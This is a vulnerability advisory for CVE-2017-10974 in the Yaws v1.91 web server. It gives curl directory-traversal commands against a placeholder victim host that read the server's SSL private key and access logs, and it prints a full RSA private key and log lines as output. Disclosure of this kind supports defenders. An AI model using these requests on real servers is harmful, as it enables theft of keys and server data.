Yaws v1.91 Web Server Unauthenticated Remote File Disclosure

Credit: hyp3rlinx
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt [+] ISR: ApparitionSec Vendor: ========== yaws.hyber.org Product: =========== Yaws v1.91 (Yet Another Web Server) Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications. Two separate modes of operations are supported: Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode. Embedded mode where Yaws runs as an embedded webserver in another Erlang application. Vulnerability Type: =================== Unauthenticated Remote File Disclosure CVE Reference: ============== CVE-2017-10974 Security Issue: ================ Remote attackers who can reach Yaws web server can read the server SSL private key file using directory traversal attacks, access logs are also disclosed etc... this version is somewhat old, however, still avail for download as of the time of this writing. http://yaws.hyber.org/download/ Exploit/POC: ============= Steal Yaws Server SSL private key ".pem" file. curl http://REMOTE-VICTIM-IP:8080/%5C../ssl/yaws-key.pem -----BEGIN RSA PRIVATE KEY----- MIICWwIAAAKBgQDMJHAcJXB9TzkYg/ghXNjOAp3zcgKC4XZo4991SPGYukKVU1Fv RX0YgPx3wz8Ae7ykPg0KW7O3D9Pn8liazTYEaXskNKAzOFr1gtBd7p937PKNQk++ 3/As5EfJjz+lBrwUGbSicJgldJk3Cj89htMUqGwL2Bl/yOQIsZtyLlrP1wIDAQAB AoGAYgEwTWLwAUjSaWGs8zJm52g8Ok7Gw+CfNzYG5oCxdBgftR693sSmjOgHzNtQ WMQOyW7eDBYATmdr3VPsk8znHBSfQ19gAJjR89lJ6lt5qDMNtXMUWILn91g+RbkO gmTkhD8uc0e/3FJBwPxFJWQzFEcAR4jNFJwhNzg6CO8CK/ECQQD7sNzvMRnUi1RQ tiKgRxdjdEwNh52OUPwuJWhKdBLIpHBAJxCBHJB+1N0ufpqaEgUfJ5+gEYrBRMJh aTCIJul5AkEAz6MsmkMz6Iej5zlKrlDL5q6GU+wElXK/F1H8tN/JchoSXN8BRCJZ DLpK0mcMN4yukHKDCo0LD9NBlRQFDll/zwJASb2CrW2kVLpRhKgoMu9BMflDwv8G IcqmZ9q72HxzeGd9H76SPlGhIBe7icC8CQHYkE0qnlolXgSIMsP/3RQReQJAYHnt +INvNAUKSB6br6EFDNtcuNO6UYJufbRvmc89d5HbpGFN4k2fWMWajGarC4iHd8Bt WNKuKB09pLoXm1JEiwJAfRtIXE6sr4MQOL6aWwGElw+Yb4B1WBhBiPRRwGTX0nzN HXF3851+kgZBZjjzA3Ib2nr5PeXkZBBLE/4jJvRPRA== -----END RSA PRIVATE KEY----- --- OR Read the access logs. --- curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY> <H1>Not Found</H1>The requested URL /../logs/localhost.8080.access was not found on this server.<P><HR> <address> Yaws 1.91 Server at localhost:8080 </address> </BODY></HTML>[root@localhost ~]# Then, curl http://REMOTE-VICTIM-IP:8080/%5C../logs/localhost.8080.access - - [26/Jun/2017:09:52:27 -0400] "GET / HTTP/1.1" 200 74419 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:27 -0400] "GET /stil.css HTTP/1.1" 200 1677 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_head.gif HTTP/1.1" 200 2308 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_pb.gif HTTP/1.1" 200 1444 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:27 -0400] "GET /icons/yaws_y.gif HTTP/1.1" 200 4831 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:33 -0400] "GET /bindings.yaws HTTP/1.1" 200 5502 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" - - [26/Jun/2017:09:52:42 -0400] "GET /configuration.yaws HTTP/1.1" 200 8634 "" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" etc... Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================= Vendor Notification: June 26, 2017 No replies July 7, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

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